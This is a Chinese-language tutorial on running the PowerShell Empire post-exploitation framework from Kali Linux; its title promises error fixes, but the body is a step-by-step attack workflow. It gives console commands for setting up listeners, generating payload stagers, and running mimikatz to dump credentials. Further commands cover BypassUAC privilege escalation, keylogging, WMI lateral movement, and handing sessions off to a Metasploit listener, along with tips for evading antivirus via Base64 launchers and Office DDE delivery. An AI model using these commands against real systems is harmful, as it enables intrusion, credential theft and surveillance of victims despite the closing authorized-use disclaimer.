PowerShell Empire脚本执行错误的解决方案
作者:Bruce_xiaowei
Empire是一个利用漏洞后的框架,它包括一个纯PowerShell2.0 Windows代理和一个纯Python 2.6/2.7 Linux/OS X代理,它是之前的PowerShell帝国和Python EmPyre项目的合并,本文给大家介绍了PowerShell Empire脚本执行错误的解决方案,需要的朋友可以参考下
PowerShell Empire 脚本执行错误解决方案
在Kali Linux下使用PowerShell Empire(简称“帝国”)需通过安装、配置监听器、生成攻击载荷、管理会话及执行渗透模块等步骤实现。以下是详细操作指南:
一、安装PowerShell Empire
1. 通过APT安装(推荐)
sudo apt update sudo apt install powershell-empire
2. 手动安装(适用于特定版本)
git clone https://github.com/BC-SECURITY/Empire.git # 克隆官方仓库 cd Empire/setup sudo ./install.sh # 安装依赖 cd .. sudo ./empire # 启动Empire
若依赖安装失败(如urllib3报错),可降级处理:pip install urllib3==1.22 。
二、基本使用流程
1. 启动服务端与客户端
powershell-empire server # 启动服务端 powershell-empire client # 启动客户端(交互式控制台)
2. 设置监听器(Listener)
(Empire) > listeners # 进入监听器菜单 (Empire: listeners) > uselistener http # 选择HTTP监听模式 (Empire: listeners/http) > set Name test_listener # 命名监听器 (Empire: listeners/http) > set Port 8080 # 设置端口 (Empire: listeners/http) > set Host 192.168.1.100 # 设置Kali的IP (Empire: listeners/http) > execute # 启动监听
注意:
- 多个监听器需不同名称和端口;
- 查看运行中的监听器:listeners 或 list。
3. 生成攻击载荷(Stager)
(Empire: listeners) > usestager windows/launcher_bat # 生成bat格式载荷 (Empire: stager/launcher_bat) > set Listener test_listener # 绑定监听器 (Empire: stager/launcher_bat) > execute # 生成载荷(默认保存到`/tmp/launcher.bat`)
其他常用载荷:
- windows/launcher:生成Base64编码的PowerShell命令;
- multi/launcher_vbs:生成VBS脚本。
4. 管理反弹会话(Agents)
查看在线主机:
(Empire) > agents
带(*)的代理表示已提权成功。
连接目标主机:
(Empire) > interact ABC123 # ABC123为Agent的ID (Empire: ABC123) > shell net user # 执行系统命令
常用会话命令:
download/upload
:文件传输;mimikatz
:抓取密码哈希;creds
:查看凭证列表。
三、高级模块使用
1. 权限提升(Privilege Escalation)
(Empire: ABC123) > usemodule privesc/bypassuac # 使用BypassUAC模块 (Empire: privesc/bypassuac) > set Listener test_listener (Empire: privesc/bypassuac) > execute # 执行后生成新会话(带*表示提权成功)
2. 信息收集(Information Gathering)
键盘记录:
usemodule collection/keylogger execute jobs kill KEYLOGGER_JOB # 停止记录
屏幕截图:
usemodule collection/screenshot execute
ARP扫描内网:
usemodule situational_awareness/network/arpscan set Range 192.168.1.0/24 execute
3. 横向渗透(Lateral Movement)
usemodule lateral_movement/invoke_wmi # 通过WMI横向移动 set ComputerName DC01 set Listener test_listener execute
四、实用技巧与注意事项
与Metasploit联动:
使用invoke_shellcode
模块将会话转发至Metasploit:
usemodule code_execution/invoke_shellcode set Lhost 192.168.1.100 # MSF监听IP set Lport 4444 # MSF监听端口 execute
免杀处理:
- 使用
launcher
生成的Base64编码命令可绕过部分AV检测; - 结合Office DDE漏洞传递Payload(无宏)。
日志与凭证管理:
creds export /path/to/save.csv
:导出凭证;- 查看历史任务结果:
(Empire: agent_id) > results
。
资源清理:
- 删除监听器:
kill test_listener
; - 移除失联主机:
remove stale
。
五、常见问题解决
- 依赖安装失败:手动安装缺失包(如pip install flask);
- 端口冲突:更换监听端口或终止占用进程;
- Agent掉线:检查目标防火墙策略及网络连通性。
律与道德声明:
Empire仅限授权测试与教育用途,未经许可的渗透行为违法。请遵守当地法律法规。
通过以上步骤,你可在Kali Linux中高效利用PowerShell Empire进行渗透测试。操作时注意命令大小写敏感(如set
vs Set
),建议结合官方文档深化学习。
以上就是PowerShell Empire脚本执行错误的解决方案的详细内容,更多关于PowerShell Empire脚本执行错误的资料请关注脚本之家其它相关文章!